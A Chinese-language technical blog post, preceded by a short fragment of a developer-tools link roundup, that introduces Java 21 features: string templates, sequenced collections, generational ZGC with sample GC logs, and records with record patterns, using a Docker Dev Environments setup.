的语法,所以很容易用错。文章介绍了三个坑,以及正确的避坑方法。yamlscript
库,可与PyYAML
一样操作 YAML 文件,支持最新的 YAML 1.2 规范,还可使用 YAMLScript 函数来生成或操作数据。fontimize
,可以减少字体文件约 95% 的大小。zip
将两个列表合并,就像一个拉链, Unix 中的paste
命令可执行相同操作,它的比喻是粘贴:将一列放到另一列旁边。paste
可追溯到 1978 年,zip
则追溯到 1988 年,但现在这两个词通常被视作其它含义:paste
总是用于“复制和粘贴”,zip
是压缩文件格式。# 从 PostgreSQL 中提取数据到 CSV 文件
sql2csv --db postgresql:///database --query "select * from data" > new.csv
cargo
和 Python poetry
,规划提供的能力是:mod = cargo + rustup + poetry + pyenv。2023 年 9 月 19 日,Java 21 发布正式版本,这是 Java 时隔两年发布的又一个 LTS 版本,上一个 LTS 版本是 2021 年 9 月 14 日发布的 Java 17:
Java 17 目前是使用最广泛的版本,但随着 Java 21 的发布,这一局面估计会很快被打破,这是因为 Java 21 可能是几年内最为重要的版本,它带来了一系列重要的功能和特性,包括 记录模式,switch
模式匹配,字符串模板,分代式 ZGC,不需要定义类的 Main 方法,等等等等,不过其中最为重要的一项,当属由 Loom 项目 发展而来的 虚拟线程。Java 程序一直以文件体积大、启动速度慢、内存占用多被人诟病,但是有了虚拟线程,再结合 GraalVM 的原生镜像,我们就可以写出媲美 C、Rust 或 Go 一样小巧灵活、高性能、可伸缩的应用程序。
转眼间,距离 Java 21 发布已经快 3 个月了,网上相关的文章也已经铺天盖地,为了不使自己落伍,于是便打算花点时间学习一下。尽管在坊间一直流传着 版本任你发,我用 Java 8 这样的说法,但是作为一线 Java 开发人员,最好还是紧跟大势,未雨绸缪,有备无患。而且最重要的是,随着 Spring Boot 2.7.18 的发布,2.x 版本将不再提供开源支持,而 3.x 不支持 Java 8,最低也得 Java 17,所以仍然相信这种说法的人除非不使用 Spring Boot,要么不升级 Spring Boot,否则学习 Java 新版本都是势在必行。
我这里使用 Docker Desktop 的 Dev Environments 作为我们的实验环境。Dev Environments 是 Docker Desktop 从 3.5.0 版本开始引入的一项新特性,目前还处于 Beta 阶段,它通过配置文件的方式方便开发人员创建容器化的、可复用的开发环境,结合 VSCode 的 Dev Containers 插件 以及它丰富的插件生态可以帮助开发人员迅速展开编码工作,而不用疲于开发环境的折腾。
Dev Environments 的界面如上图所示,官方提供了两个示例供参考,一个是单容器服务,一个是多容器服务:
我们可以直接从 Git 仓库地址来创建开发环境,就如官方提供的示例一样,也可以从本地目录创建开发环境,默认情况下,Dev Environments 会自动检测项目的语言和依赖,不过自动检测的功能并不是那么准确,比如我们的目录是一个 Java 项目,Dev Environments 会使用 docker/dev-environments-java 镜像来创建开发环境,而这个镜像使用的是 Java 11,并不是我们想要的。
如果自动检测失败,就会使用 docker/dev-environments-default 这个通用镜像来创建开发环境。
所以我们还得手动指定镜像,总的来说,就是在项目根目录下创建一个 compose-dev.yaml
配置文件,内容如下:
services:
app:
entrypoint:
- sleep
- infinity
image: openjdk:21-jdk
init: true
volumes:
- type: bind
source: /var/run/docker.sock
target: /var/run/docker.sock
然后再使用 Dev Environments 打开该目录,程序会自动拉取该镜像并创建开发环境:
开发环境创建成功后,我们就可以使用 VSCode 打开了:
使用 VSCode 打开开发环境,实际上就是使用 VSCode 的 Dev Containers 插件 连接到容器里面,打开终端,敲入 java -version
命令:
bash-4.4# java -version
openjdk version "21" 2023-09-19
OpenJDK Runtime Environment (build 21+35-2513)
OpenJDK 64-Bit Server VM (build 21+35-2513, mixed mode, sharing)
由于这是一个崭新的环境,我们还要为 VSCode 安装一些开发所需的插件,比如 Extension Pack for Java:
至此我们就得到了一个非常干净纯粹的 Java 21 开发环境。
接下来,我们就在这个全新的开发环境中一览 Java 21 的全部特性,包括下面 15 个 JEP:
switch
由于内容较多,我将分成三个篇幅来介绍,这是第一篇,主要介绍前 5 个特性。
字符串模板是很多语言都具备的特性,它允许在字符串中使用占位符来动态替换变量的值,这种构建字符串的方式比传统的字符串拼接或格式化更为简洁和直观。相信学过 JavaScript 的同学对下面这个 Template literals 的语法不陌生:
const name = 'zhangsan'
const age = 18
const message = `My name is ${name}, I'm ${age} years old.`
console.log(message)
如上所示,JavaScript 通过反引号 ` 来定义字符串模板,而 Java 21 则引入了一个叫做 模版表达式(Template expressions) 的概念来定义字符串模板。下面是一个简单示例:
String name = "zhangsan";
int age = 18;
String message = STR."My name is \{name}, I'm \{age} years old.";
System.out.println(message);
看上去和 JavaScript 的 Template literals 非常相似,但还是有一些区别的,模版表达式包含三个部分:
STR
模板处理器,也可以是 RAW
或 FMT
等,甚至可以自定义;.
);\{name}
和 \{age}
这样的占位符语法,这被称为 内嵌表达式(embedded expression);当模版表达式运行的时候,模版处理器会将模版内容与内嵌表达式的值组合起来,生成结果。
不过,当我们执行上述代码时,很可能会报 Invalid escape sequence (valid ones are \b \t \n \f \r \" \' \\ )
这样的错:
这是因为字符串模板还只是一个预览特性,根据 JEP 12: Preview Features,我们需要添加 --enable-preview
参数开启预览特性,使用 javac
编译时,还需要添加 --release
参数。使用下面的命令将 .java
文件编译成 .class
文件:
$ javac --enable-preview --release 21 StringTemplates.java
Note: StringTemplates.java uses preview features of Java SE 21.
Note: Recompile with -Xlint:preview for details.
再使用下面的命令运行 .class
文件:
$ java --enable-preview StringTemplates
My name is zhangsan, I'm 18 years old.
从 Java 11 开始,我们可以直接运行 .java
文件了,参见 JEP 330,所以上面的两个命令也可以省略成一个命令:
$ java --enable-preview --source 21 StringTemplates.java
STR
模版处理器STR
模板处理器中的内嵌表达式还有很多其他写法,比如执行数学运算:
int x = 1, y = 2;
String s1 = STR."\{x} + \{y} = \{x + y}";
调用方法:
String s2 = STR."Java version is \{getVersion()}";
访问字段:
Person p = new Person(name, age);
String s3 = STR."My name is \{p.name}, I'm \{p.age} years old.";
内嵌表达式中可以直接使用双引号,不用 \"
转义:
String s4 = STR."I'm \{age >= 18 ? "an adult" : "a child"}.";
内嵌表达式中可以编写注释和换行:
String s5 = STR."I'm \{
// check the age
age >= 18 ? "an adult" : "a child"
}.";
在 Java 13 的 JEP 355 中首次引入了 文本块(Text Blocks) 特性,并经过 Java 14 的 JEP 368 和 Java 15 的 JEP 378 两个版本的迭代,使得该特性正式可用,这个特性可以让我们在 Java 代码中愉快地使用多行字符串。在使用文本块之前,定义一个 JSON 格式的字符串可能会写出像下面这样无法直视的代码来:
String json1 = "{\n" +
" \"name\": \"zhangsan\",\n" +
" \"age\": 18\n" +
"}\n";
但是在使用文本块之后,这样的代码就变得非常清爽:
String json2 = """
{
"name": "zhangsan",
"age": 18
}
""";
文本块以三个双引号 """
开始,同样以三个双引号结束,看上去和 Python 的多行字符串类似,不过 Java 的文本块会自动处理换行和缩进,使用起来更方便。上面的文本块在 Java 中输出如下:
{
"name": "zhangsan",
"age": 18
}
注意开头没有换行,结尾有一个换行。而在 Python 中输出如下:
{
"name": "zhangsan",
"age": 18
}
不仅开头和结尾都有换行,而且每一行有很多缩进,这里可以看出 Python 的处理很简单,它直接把 """
之间的内容原样输出了,而 Java 是根据最后一个 """
和内容之间的相对缩进来决定输出。很显然,我们更喜欢 Java 这样的输出结果,如果希望 Python 有同样的输出结果,就得这样写:
json = """{
"name": "zhangsan",
"age": 18
}
"""
这在代码的可读性上就比不上 Java 了,这里不得不感叹 Java 的设计,在细节的处理上做的确实不错。
言归正传,说回字符串模板这个特性,我们也可以在文本块中使用,如下:
String json3 = STR."""
{
"name": "\{name}",
"age": \{age}
}
""";
FMT
模板处理器FMT
是 Java 21 内置的另一个模版处理器,它不仅有 STR
模版处理器的插值功能,还可以对输出进行格式化操作。格式说明符(format specifiers) 放在嵌入表达式的左侧,如下所示:
%7.2f\{price}
支持的格式说明符参见 java.util.Formatter 文档。
不过在我的环境里编译时,会报错
cannot find symbol: variable FMT
,就算是把镜像更换成openjdk:22-jdk
也是一样的错,不清楚是为什么。
Java 集合框架(Java Collections Framework,JCF) 为集合的表示和操作提供了一套统一的体系架构,让开发人员可以使用标准的接口来组织和操作集合,而不必关心底层的数据结构或实现方式。JCF 的接口大致可以分为 Collection
和 Map
两组,一共 15 个:
在过去的 20 个版本里,这些接口已经被证明非常有用,在日常开发中发挥了重要的作用。那么 Java 21 为什么又要增加一个新的 有序集合(Sequenced Collections) 接口呢?
这是因为这些接口在处理集合顺序问题时很不一致,导致了无谓的复杂性,比如要获取集合的第一个元素:
获取第一个元素 | |
---|---|
List | list.get(0) |
Deque | deque.getFirst() |
SortedSet | sortedSet.first() |
LinkedHashSet | linkedHashSet.iterator().next() |
可以看到,不同的集合有着不同的实现。再比如获取集合的最后一个元素:
获取最后一个元素 | |
---|---|
List | list.get(list.size() - 1) |
Deque | deque.getLast() |
SortedSet | sortedSet.last() |
LinkedHashSet | - |
List 的实现显得非常笨重,而 LinkedHashSet 根本没有提供直接的方法,只能将整个集合遍历一遍才能获取最后一个元素。
除了获取集合的第一个元素和最后一个元素,对集合进行逆序遍历也是各不相同,比如 NavigableSet
提供了 descendingSet()
方法来逆序遍历:
for (var e : navSet.descendingSet()) {
process(e);
}
Deque
通过 descendingIterator()
来逆序遍历:
for (var it = deque.descendingIterator(); it.hasNext();) {
var e = it.next();
process(e);
}
而 List
则是通过 listIterator()
来逆序遍历:
for (var it = list.listIterator(list.size()); it.hasPrevious();) {
var e = it.previous();
process(e);
}
由此可见,与顺序相关的处理方法散落在 JCF 的不同地方,使用起来极为不便。于是,Java 21 为我们提供了一个描述和操作有序集合的新接口,这个接口定义了一些与顺序相关的方法,将这些散落在各个地方的逻辑集中起来,让我们更方便地处理有序集合。
与顺序相关的操作主要包括三个方面:
为此,Java 21 新增了三个有序接口:SequencedCollection
、SequencedSet
和 SequencedMap
,他们的定义如下:
interface SequencedCollection<E> extends Collection<E> {
SequencedCollection<E> reversed();
void addFirst(E);
void addLast(E);
E getFirst();
E getLast();
E removeFirst();
E removeLast();
}
interface SequencedSet<E> extends Set<E>, SequencedCollection<E> {
SequencedSet<E> reversed();
}
interface SequencedMap<K,V> extends Map<K,V> {
SequencedMap<K,V> reversed();
SequencedSet<K> sequencedKeySet();
SequencedCollection<V> sequencedValues();
SequencedSet<Entry<K,V>> sequencedEntrySet();
V putFirst(K, V);
V putLast(K, V);
Entry<K, V> firstEntry();
Entry<K, V> lastEntry();
Entry<K, V> pollFirstEntry();
Entry<K, V> pollLastEntry();
}
他们在 JCF 大家庭中的位置如下图所示:
有了这些接口,对于所有的有序集合,我们都可以通过下面的方法来获取第一个和最后一个元素:
System.out.println("The first element is: " + list.getFirst());
System.out.println("The last element is: " + list.getLast());
逆序遍历也变得格外简单:
list.reversed().forEach(it -> System.out.println(it));
想要搞清楚 Java 21 中的 分代式 ZGC(Generational ZGC) 这个特性,我们需要先搞清楚什么是 ZGC。
ZGC(The Z Garbage Collector) 是由 Oracle 开发的一款垃圾回收器,最初在 Java 11 中以实验性功能推出,并经过几个版本的迭代,最终在 Java 15 中被宣布为 Production Ready,相比于其他的垃圾回收器,ZGC 更适用于大内存、低延迟服务的内存管理和回收。下图展示的是不同的垃圾回收器所专注的目标也各不相同:
低延迟服务的最大敌人是 GC 停顿,所谓 GC 停顿指的是垃圾回收期间的 STW(Stop The World),当 STW 时,所有的应用线程全部暂停,等待 GC 结束后才能继续运行。要想实现低延迟,就要想办法减少 GC 的停顿时间,根据 JEP 333 的介绍,最初 ZGC 的目标是:
经过几年的发展,目前 ZGC 的最大停顿时间已经优化到了不超过 1 毫秒(Sub-millisecond,亚毫秒级),且停顿时间不会随着堆的增大而增加,甚至不会随着 root-set 或 live-set 的增大而增加(通过 JEP 376 Concurrent Thread-Stack Processing 实现),支持处理最小 8MB,最大 16TB 的堆:
ZGC 之所以能实现这么快的速度,不仅是因为它在算法上做了大量的优化和改进,而且还革命性的使用了大量的创新技术,包括:
关于这些技术点,网上的参考资料有很多,有兴趣的同学可以通过本文的更多部分进一步学习,其中最有意思的莫过于 染色指针 和 读屏障,下面重点介绍这两项。
在 64 位的操作系统中,一个指针有 64 位,但是由于内存大小限制,其实有很多高阶位是用不上的,所以我们可以在指针的高阶位中嵌入一些元数据,这种在指针中存储元数据的技术就叫做 染色指针(Colored Pointers)。染色指针是 ZGC 的核心设计之一,以前的垃圾回收器都是使用对象头来标记对象,而 ZGC 则通过染色指针来标记对象。ZGC 将一个 64 位的指针划分成三个部分:
其中,前面的 16 位暂时没用,预留给以后使用;后面的 44 位表示对象的地址,所以 ZGC 最大可以支持 2^44=16T 内存;中间的 4 位即染色位,分别是:
此外,染色指针不仅用来标记对象,还可以实现对象地址的多重视图,上述 Marked0、Marked1、Remapped 三个染色位其实代表了三种地址视图,分别对应三个虚拟地址,这三个虚拟地址指向同一个物理地址,并且在同一时间,三个虚拟地址有且只有一个有效,整个视图映射关系如下:
这三个地址视图的切换是由垃圾回收的不同阶段触发的:
读屏障(Load Barriers) 是 ZGC 的另一项核心技术,当应用程序从堆中读取对象引用时,JIT 会向应用代码中注入一小段代码:
在上面的代码示例中,只有第一行是从堆中读取对象引用,所以只会在第一行后面注入代码,注入的代码类似于这样:
String n = person.name; // Loading an object reference from heap
if (n & bad_bit_mask) {
slow_path(register_for(n), address_of(person.name));
}
这行代码虽然简单,但是用途却很大,在垃圾回收的不同阶段,触发的逻辑也有所不同:在标记阶段,通过读屏障操作,可以让应用线程帮助 GC 线程一起完成对象的标记或重映射;在转移阶段,如果对象地址发生变化,还能自动实现对象转移。
整个 ZGC 可以划分成下面六个阶段:
其中有三个是 STW 阶段,尽管如此,但是 ZGC 对 STW 的停顿时间有着严格的要求,一般不会超过 1 毫秒。这六个阶段的前三个可以统称为 标记(Mark)阶段:
ZGC 的后三个阶段统称为 转移(Relocation)阶段(也叫重定位阶段):
在 ZGC 面世之前,Java 内置的所有垃圾回收器都实现了分代回收(G1 是逻辑分代):
垃圾回收器(别名) | 用法 | 说明 |
---|---|---|
Serial GC、Serial Copying | -XX:+UseSerialGC | 串行,用于年轻代,使用复制算法 |
Serial Old、MSC | -XX:+UseSerialOldGC | 串行,用于老年代,使用标记-整理算法 |
ParNew GC | -XX:+UseParNewGC | Serial GC 的并行版本,用于年轻代,使用复制算法 |
Parallel GC、Parallel Scavenge | -XX:+UseParallelGC | 并行,用于年轻代,使用复制算法 |
Parallel Old、Parallel Compacting | -XX:+UseParallelOldGC | 并行,用于老年代,使用标记-整理算法 |
CMS、Concurrent Mark Sweep | -XX:+UseConcMarkSweepGC | 并发,用于老年代,使用标记-清除算法 |
G1、Garbage First | -XX:+UseG1GC | 并发,既可以用于年轻代,也可以用于老年代,使用复制 + 标记-整理算法,用来取代 CMS |
这些分代回收器之间可以搭配使用,周志明老师在《深入理解 Java 虚拟机》这本书中总结了各种回收器之间的关系:
其中,Serial + CMS 和 ParNew + Serial Old 这两个组件在 Java 9 之后已经被取消,而 CMS 与 Serial Old 之间的连线表示 CMS 在并发失败的时候(Concurrent Mode Failure)会切换成 Serial Old 备用方案。
分代的基本思想源自于 弱分代假说(Weak Generational Hypothesis),这个假说认为绝大部分对象都是朝生夕死的,也就是说年轻对象往往很快死去,而老对象往往会保留下来。根据这个假说,JVM 将内存区域划分为 年轻代(Young Generation) 和 老年代(Old Generation),新生代又进一步划分为 伊甸园区(Eden)、第一幸存区(S0) 和 第二幸存区(S1)。
伊甸园区用来分配新创建的对象,如果没有足够的空间,就会触发一次 年轻代 GC(Young GC,Minor GC) 来释放内存空间,这里一般使用 标记-复制(Mark-Copy) 算法,将存活的对象标记下来,然后复制到一个幸存区中;年轻代的内存空间一般较小,所以可以更频繁地触发 GC,清理掉那些朝生夕死的对象,从而提高应用程序的性能;如果 GC 后伊甸园区还没有足够的空间存放新创建的对象,或者幸存区中某个对象的存活时间超过一定的阈值,这时就会将对象分配到老年代,如果老年代的空间也满了,就会触发一次 老年代 GC(Old GC,Full GC);老年代的内存空间要大的多,而且其中的对象大部分是存活的,GC 发生的频率要小很多,所以不再使用标记-复制算法,而是采用移动对象的方式来实现内存碎片的整理。
但是在上面的 ZGC 的工作流程中,我们却没有看到分代的影子,这也就意味着每次 ZGC 都是对整个堆空间进行扫描,尽管 ZGC 的 STW 时间已经被优化到不到 1ms,但是其他几个阶段是和应用线程一起执行的,这势必会影响到应用程序的吞吐量。让 ZGC 支持分代是一项巨大的工程,开发团队足足花了三年时间才让我们有幸在 Java 21 中体验到这一令人激动的特性。
除了 ZGC,Java 11 之后还引入了一些新的垃圾回收器:
垃圾回收器 用法 说明 ZGC -XX:+UseZGC
低延迟 GC,from JDK 11 Epsilon GC -XX:+UseEpsilonGC
No-op GC,什么都不做,用于测试,from JDK 11 Shenandoah -XX:+UseShenandoahGC
CPU 密集型 GC,from JDK 12
使用 -XX:+PrintCommandLineFlags
,可以打印出 Java 的默认命令行参数:
$ java -XX:+PrintCommandLineFlags -version
-XX:ConcGCThreads=1 -XX:G1ConcRefinementThreads=4 -XX:GCDrainStackTargetSize=64 -XX:InitialHeapSize=128639872 -XX:MarkStackSize=4194304 -XX:MaxHeapSize=2058237952 -XX:MinHeapSize=6815736 -XX:+PrintCommandLineFlags -XX:ReservedCodeCacheSize=251658240 -XX:+SegmentedCodeCache -XX:+UseCompressedOops -XX:+UseG1GC
openjdk version "21" 2023-09-19
OpenJDK Runtime Environment (build 21+35-2513)
OpenJDK 64-Bit Server VM (build 21+35-2513, mixed mode, sharing)
从上面的结果可以看出,Java 21 默认使用的仍然是 G1 垃圾回收器,它从 Java 9 就开始做为默认垃圾回收器了。
注意:Java 8 中默认的垃圾回收器是 Parallel GC。
如果想开启 ZGC,我们需要加上 -XX:+UseZGC
参数:
$ java -XX:+UseZGC -Xmx100M -Xlog:gc ZgcTest.java
其中 -Xlog:gc
参数表示打印出 GC 过程中的日志(就是 Java 8 的 -XX:+PrintGC
参数),输出结果如下:
[0.157s][info][gc] Using The Z Garbage Collector
[0.420s][info][gc] GC(0) Garbage Collection (Warmup) 14M(14%)->12M(12%)
[0.472s][info][gc] GC(1) Garbage Collection (System.gc()) 18M(18%)->8M(8%)
也可以使用 -Xlog:gc*
参数打印出 GC 过程中的详细日志(就是 Java 8 的 -XX+PrintGCDetails
参数),输出结果如下:
$ java -XX:+UseZGC -Xmx100M -Xlog:gc* ZgcTest.java
[0.010s][info][gc,init] Initializing The Z Garbage Collector
[0.011s][info][gc,init] Version: 21+35-2513 (release)
[0.011s][info][gc,init] Using legacy single-generation mode
[0.011s][info][gc,init] Probing address space for the highest valid bit: 47
[0.011s][info][gc,init] NUMA Support: Disabled
[0.011s][info][gc,init] CPUs: 4 total, 4 available
[0.011s][info][gc,init] Memory: 7851M
[0.011s][info][gc,init] Large Page Support: Disabled
[0.011s][info][gc,init] GC Workers: 1 (dynamic)
[0.011s][info][gc,init] Address Space Type: Contiguous/Unrestricted/Complete
[0.011s][info][gc,init] Address Space Size: 1600M x 3 = 4800M
[0.011s][info][gc,init] Heap Backing File: /memfd:java_heap
[0.011s][info][gc,init] Heap Backing Filesystem: tmpfs (0x1021994)
[0.012s][info][gc,init] Min Capacity: 8M
[0.012s][info][gc,init] Initial Capacity: 100M
[0.012s][info][gc,init] Max Capacity: 100M
[0.012s][info][gc,init] Medium Page Size: N/A
[0.012s][info][gc,init] Pre-touch: Disabled
[0.012s][info][gc,init] Available space on backing filesystem: N/A
[0.014s][info][gc,init] Uncommit: Enabled
[0.014s][info][gc,init] Uncommit Delay: 300s
[0.134s][info][gc,init] Runtime Workers: 1
[0.134s][info][gc ] Using The Z Garbage Collector
[0.149s][info][gc,metaspace] CDS archive(s) mapped at: [0x0000006800000000-0x0000006800cb0000-0x0000006800cb0000), size 13303808, SharedBaseAddress: 0x0000006800000000, ArchiveRelocationMode: 1.
[0.149s][info][gc,metaspace] Compressed class space mapped at: 0x0000006801000000-0x0000006841000000, reserved size: 1073741824
[0.149s][info][gc,metaspace] Narrow klass base: 0x0000006800000000, Narrow klass shift: 0, Narrow klass range: 0x100000000
[0.357s][info][gc,start ] GC(0) Garbage Collection (Warmup)
[0.357s][info][gc,task ] GC(0) Using 1 workers
[0.357s][info][gc,phases ] GC(0) Pause Mark Start 0.007ms
[0.366s][info][gc,phases ] GC(0) Concurrent Mark 8.442ms
[0.366s][info][gc,phases ] GC(0) Pause Mark End 0.005ms
[0.366s][info][gc,phases ] GC(0) Concurrent Mark Free 0.000ms
[0.367s][info][gc,phases ] GC(0) Concurrent Process Non-Strong References 1.092ms
[0.367s][info][gc,phases ] GC(0) Concurrent Reset Relocation Set 0.000ms
[0.373s][info][gc,phases ] GC(0) Concurrent Select Relocation Set 5.587ms
[0.373s][info][gc,phases ] GC(0) Pause Relocate Start 0.003ms
[0.375s][info][gc,phases ] GC(0) Concurrent Relocate 2.239ms
[0.375s][info][gc,load ] GC(0) Load: 0.65/0.79/0.63
[0.375s][info][gc,mmu ] GC(0) MMU: 2ms/99.7%, 5ms/99.9%, 10ms/99.9%, 20ms/99.9%, 50ms/100.0%, 100ms/100.0%
[0.375s][info][gc,marking ] GC(0) Mark: 1 stripe(s), 2 proactive flush(es), 1 terminate flush(es), 0 completion(s), 0 continuation(s)
[0.375s][info][gc,marking ] GC(0) Mark Stack Usage: 32M
[0.375s][info][gc,nmethod ] GC(0) NMethods: 889 registered, 90 unregistered
[0.375s][info][gc,metaspace] GC(0) Metaspace: 8M used, 8M committed, 1088M reserved
[0.375s][info][gc,ref ] GC(0) Soft: 142 encountered, 0 discovered, 0 enqueued
[0.375s][info][gc,ref ] GC(0) Weak: 747 encountered, 602 discovered, 224 enqueued
[0.375s][info][gc,ref ] GC(0) Final: 0 encountered, 0 discovered, 0 enqueued
[0.375s][info][gc,ref ] GC(0) Phantom: 146 encountered, 144 discovered, 143 enqueued
[0.375s][info][gc,reloc ] GC(0) Small Pages: 7 / 14M, Empty: 0M, Relocated: 3M, In-Place: 0
[0.375s][info][gc,reloc ] GC(0) Large Pages: 1 / 2M, Empty: 0M, Relocated: 0M, In-Place: 0
[0.375s][info][gc,reloc ] GC(0) Forwarding Usage: 1M
[0.375s][info][gc,heap ] GC(0) Min Capacity: 8M(8%)
[0.375s][info][gc,heap ] GC(0) Max Capacity: 100M(100%)
[0.375s][info][gc,heap ] GC(0) Soft Max Capacity: 100M(100%)
[0.375s][info][gc,heap ] GC(0) Mark Start Mark End Relocate Start Relocate End High Low
[0.375s][info][gc,heap ] GC(0) Capacity: 100M (100%) 100M (100%) 100M (100%) 100M (100%) 100M (100%) 100M (100%)
[0.375s][info][gc,heap ] GC(0) Free: 84M (84%) 82M (82%) 82M (82%) 88M (88%) 88M (88%) 78M (78%)
[0.375s][info][gc,heap ] GC(0) Used: 16M (16%) 18M (18%) 18M (18%) 12M (12%) 22M (22%) 12M (12%)
[0.375s][info][gc,heap ] GC(0) Live: - 6M (6%) 6M (6%) 6M (6%) - -
[0.375s][info][gc,heap ] GC(0) Allocated: - 2M (2%) 2M (2%) 3M (4%) - -
[0.375s][info][gc,heap ] GC(0) Garbage: - 9M (10%) 9M (10%) 1M (2%) - -
[0.375s][info][gc,heap ] GC(0) Reclaimed: - - 0M (0%) 7M (8%) - -
[0.375s][info][gc ] GC(0) Garbage Collection (Warmup) 16M(16%)->12M(12%)
[0.403s][info][gc,start ] GC(1) Garbage Collection (System.gc())
[0.403s][info][gc,task ] GC(1) Using 1 workers
[0.403s][info][gc,phases ] GC(1) Pause Mark Start 0.006ms
[0.410s][info][gc,phases ] GC(1) Concurrent Mark 7.316ms
[0.410s][info][gc,phases ] GC(1) Pause Mark End 0.006ms
[0.410s][info][gc,phases ] GC(1) Concurrent Mark Free 0.001ms
[0.412s][info][gc,phases ] GC(1) Concurrent Process Non-Strong References 1.621ms
[0.412s][info][gc,phases ] GC(1) Concurrent Reset Relocation Set 0.001ms
[0.414s][info][gc,phases ] GC(1) Concurrent Select Relocation Set 2.436ms
[0.414s][info][gc,phases ] GC(1) Pause Relocate Start 0.003ms
[0.415s][info][gc,phases ] GC(1) Concurrent Relocate 0.865ms
[0.415s][info][gc,load ] GC(1) Load: 0.65/0.79/0.63
[0.415s][info][gc,mmu ] GC(1) MMU: 2ms/99.7%, 5ms/99.8%, 10ms/99.9%, 20ms/99.9%, 50ms/100.0%, 100ms/100.0%
[0.415s][info][gc,marking ] GC(1) Mark: 1 stripe(s), 2 proactive flush(es), 1 terminate flush(es), 0 completion(s), 0 continuation(s)
[0.415s][info][gc,marking ] GC(1) Mark Stack Usage: 32M
[0.415s][info][gc,nmethod ] GC(1) NMethods: 983 registered, 129 unregistered
[0.415s][info][gc,metaspace] GC(1) Metaspace: 9M used, 9M committed, 1088M reserved
[0.415s][info][gc,ref ] GC(1) Soft: 155 encountered, 0 discovered, 0 enqueued
[0.415s][info][gc,ref ] GC(1) Weak: 729 encountered, 580 discovered, 58 enqueued
[0.415s][info][gc,ref ] GC(1) Final: 0 encountered, 0 discovered, 0 enqueued
[0.415s][info][gc,ref ] GC(1) Phantom: 49 encountered, 47 discovered, 46 enqueued
[0.415s][info][gc,reloc ] GC(1) Small Pages: 6 / 12M, Empty: 0M, Relocated: 1M, In-Place: 0
[0.415s][info][gc,reloc ] GC(1) Large Pages: 2 / 4M, Empty: 2M, Relocated: 0M, In-Place: 0
[0.415s][info][gc,reloc ] GC(1) Forwarding Usage: 0M
[0.415s][info][gc,heap ] GC(1) Min Capacity: 8M(8%)
[0.415s][info][gc,heap ] GC(1) Max Capacity: 100M(100%)
[0.415s][info][gc,heap ] GC(1) Soft Max Capacity: 100M(100%)
[0.415s][info][gc,heap ] GC(1) Mark Start Mark End Relocate Start Relocate End High Low
[0.415s][info][gc,heap ] GC(1) Capacity: 100M (100%) 100M (100%) 100M (100%) 100M (100%) 100M (100%) 100M (100%)
[0.415s][info][gc,heap ] GC(1) Free: 84M (84%) 84M (84%) 84M (84%) 92M (92%) 92M (92%) 82M (82%)
[0.415s][info][gc,heap ] GC(1) Used: 16M (16%) 16M (16%) 16M (16%) 8M (8%) 18M (18%) 8M (8%)
[0.415s][info][gc,heap ] GC(1) Live: - 4M (5%) 4M (5%) 4M (5%) - -
[0.415s][info][gc,heap ] GC(1) Allocated: - 0M (0%) 2M (2%) 2M (2%) - -
[0.415s][info][gc,heap ] GC(1) Garbage: - 11M (11%) 9M (9%) 1M (1%) - -
[0.415s][info][gc,heap ] GC(1) Reclaimed: - - 2M (2%) 10M (10%) - -
[0.415s][info][gc ] GC(1) Garbage Collection (System.gc()) 16M(16%)->8M(8%)
[0.416s][info][gc,heap,exit] Heap
[0.416s][info][gc,heap,exit] ZHeap used 8M, capacity 100M, max capacity 100M
[0.416s][info][gc,heap,exit] Metaspace used 9379K, committed 9600K, reserved 1114112K
[0.416s][info][gc,heap,exit] class space used 1083K, committed 1216K, reserved 1048576K
从日志中可以看到 ZGC 的整个过程。默认情况下并没有开启分代式 ZGC,如果想开启分代式 ZGC,我们还需要加上 -XX:+ZGenerational
参数:
$ java -XX:+UseZGC -XX:+ZGenerational -Xmx100M -Xlog:gc* ZgcTest.java
这个输出比较多,此处就省略了,从输出中可以看到不同分代的回收情况。关于 ZGC,还有很多微调参数,详细内容可参考 ZGC 的官方文档。
记录模式(Record Patterns) 是对 记录类(Records) 这个特性的延伸,所以,我们先大致了解下什么是记录类,然后再来看看什么是记录模式。
记录类早在 Java 14 就已经引入了,它类似于 Tuple,提供了一种更简洁、更紧凑的方式来表示不可变数据,记录类经过三个版本的迭代(JEP 359、JEP 384、JEP 395),最终在 Java 16 中发布了正式版本。
记录类的概念在其他编程语言中其实早已有之,比如 Kotlin 的 Data class 或者 Scala 的 Case class。它本质上依然是一个类,只不过使用关键字 record
来定义:
record Point(int x, int y) { }
记录类的定义非常灵活,我们可以在单独文件中定义,也可以在类内部定义,甚至在函数内部定义。记录类的使用和普通类无异,使用 new
创建即可:
Point p1 = new Point(10, 20);
System.out.println("x = " + p1.x());
System.out.println("y = " + p1.y());
System.out.println("p1 is " + p1.toString());
记录类具备如下特点:
final
类;final
的,所以一旦创建就不能修改;getter
方法,没有 setter
方法;equals()
、hashCode()
和 toString()
函数;所以上面的示例和下面的 Point
类是等价的:
public final class Point {
final int x;
final int y;
public Point(int x, int y) {
this.x = x;
this.y = y;
}
public int x() {
return x;
}
public int y() {
return y;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Point point = (Point) o;
return x == point.x && y == point.y;
}
@Override
public int hashCode() {
return Objects.hash(x, y);
}
@Override
public String toString() {
return "Point{" +
"x=" + x +
", y=" + y +
'}';
}
}
我们也可以在记录类中声明新的方法:
record Point(int x, int y) {
boolean isOrigin() {
return x == 0 && y == 0;
}
}
记录类的很多特性和 Lombok 非常类似,比如下面通过 Lombok 的 @Value
注解创建一个不可变对象:
@Value
public class Point {
int x;
int y;
}
不过记录类和 Lombok 还是有一些区别的:
@Builder
构建器模式可以写出更干净的代码;@Data
可以创建可变对象;相信很多人都写过类似下面这样的代码:
if (obj instanceof Integer) {
int intValue = ((Integer) obj).intValue();
System.out.println(intValue);
}
这段代码实际上做了三件事:
obj
的类型是否为 Integer
;obj
的类型转换为 Integer
;Integer
类中提取出 int
值;这三个步骤构成了一种通用的模式:测试并进行强制类型转换,这种模式被称为 模式匹配(Pattern Matching)。虽然简单,但是却很繁琐。Java 16 在 JEP 394 中正式发布了 instanceof
模式匹配 的特性,帮我们减少这种繁琐的条件状态提取:
if (obj instanceof Integer intValue) {
System.out.println(intValue);
}
这里的 Integer intValue
被称为 类型模式(Type Patterns),其中 Integer
是匹配的断言,intValue
是匹配成功后的变量,这个变量可以直接使用,不需要再进行类型转换了。
匹配的断言也支持记录类:
if (obj instanceof Point p) {
int x = p.x();
int y = p.y();
System.out.println(x + y);
}
